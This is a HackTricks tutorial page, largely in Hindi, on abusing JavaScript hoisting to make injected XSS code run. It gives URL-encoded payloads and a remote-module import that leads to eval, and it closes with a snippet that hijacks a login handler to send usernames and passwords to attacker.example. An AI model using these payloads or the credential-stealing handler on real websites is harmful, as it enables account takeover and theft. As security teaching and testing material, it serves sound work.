JS Hoisting
Reading time: 7 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
बुनियादी जानकारी
JavaScript भाषा में, एक तंत्र जिसे Hoisting कहा जाता है, उस अवधारणा को दर्शाता है जहाँ variables, functions, classes, या imports के declarations को उनके scope के शीर्ष पर सांकेतिक रूप से उठाया जाता है, इससे पहले कि कोड execute हो। यह प्रक्रिया JavaScript engine द्वारा स्वतः की जाती है, जो स्क्रिप्ट को कई पासों में पार करता है।
पहले पास के दौरान, engine कोड को parse करता है ताकि syntax errors जाँचे जा सकें और इसे एक abstract syntax tree में बदलता है। इस चरण में hoisting भी शामिल है, वह प्रक्रिया जिसमें कुछ declarations execution context के शीर्ष पर ले जाए जाते हैं। यदि parsing चरण सफल रहता है, यानी कोई syntax error नहीं होता, तो script का execution आगे बढ़ता है।
यह समझना महत्वपूर्ण है कि:
- script का execution तभी होगा जब वह syntax errors से मुक्त हो। Syntax नियमों का कड़ाई से पालन होना चाहिए।
- hoisting के कारण स्क्रिप्ट में कोड की जगह execution को प्रभावित करती है, हालाँकि चलने वाला कोड उसके textual प्रतिनिधित्व से भिन्न हो सकता है।
Hoisting के प्रकार
MDN की जानकारी के अनुसार, JavaScript में hoisting के चार अलग प्रकार हैं:
- Value Hoisting: किसी variable के value का उसके scope के भीतर declaration line से पहले उपयोग करना संभव बनाता है।
- Declaration Hoisting: इसके तहत किसी variable को उसके declaration से पहले उसके scope में reference करने की अनुमति मिलती है बिना
ReferenceError
के, लेकिन variable का valueundefined
होगा। - यह प्रकार अपने scope के भीतर व्यवहार को बदल देता है क्योंकि variable की declaration उसके वास्तविक declaration line से पहले होती है।
- declaration के side effects उस कोड के बाकी हिस्से के evaluate होने से पहले होते हैं।
विस्तार से, function declarations प्रकार 1 के hoisting व्यवहार को दिखाते हैं। var
keyword प्रकार 2 व्यवहार दिखाता है। Lexical declarations, जिनमें let
, const
, और class
शामिल हैं, प्रकार 3 व्यवहार दिखाती हैं। अंत में, import
statements अनोखे हैं क्योंकि इन्हें प्रकार 1 और प्रकार 4 दोनों के व्यवहार के साथ hoist किया जाता है।
परिदृश्य
इसलिए यदि आपके पास ऐसे परिदृश्य हैं जहाँ आप Inject JS code after an undeclared object कर पाते हैं, तो आप इसे declare करके fix the syntax कर सकते हैं (ताकि आपका कोड error फेंकने की बजाय execute हो):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
अधिक परिदृश्य
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()
बाद की घोषणाओं को रोकें: const के साथ एक नाम लॉक करके
यदि आप किसी शीर्ष-स्तरीय function foo(){...}
के पार्स होने से पहले कोड निष्पादित कर सकते हैं, तो उसी नाम के साथ एक लेक्सिकल बाइंडिंग घोषित करना (उदा., const foo = ...
) बाद में होने वाली function declaration को उस identifier को पुनः बाँधने से रोकेगा। इसे RXSS में पेज पर बाद में परिभाषित महत्वपूर्ण handlers को hijack करने के लिए दुरुपयोग किया जा सकता है:
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
नोट्स
- यह execution order और global (top-level) scope पर निर्भर करता है।
- यदि आपका payload
eval()
के अंदर execute होता है, तो याद रखें किeval
के अंदरconst/let
block-scoped होते हैं और वे global bindings नहीं बनाते। एक नया<script>
element inject करें जिसमें वह कोड हो जो एक सच्चा globalconst
स्थापित करे।
संदर्भ
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
- From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।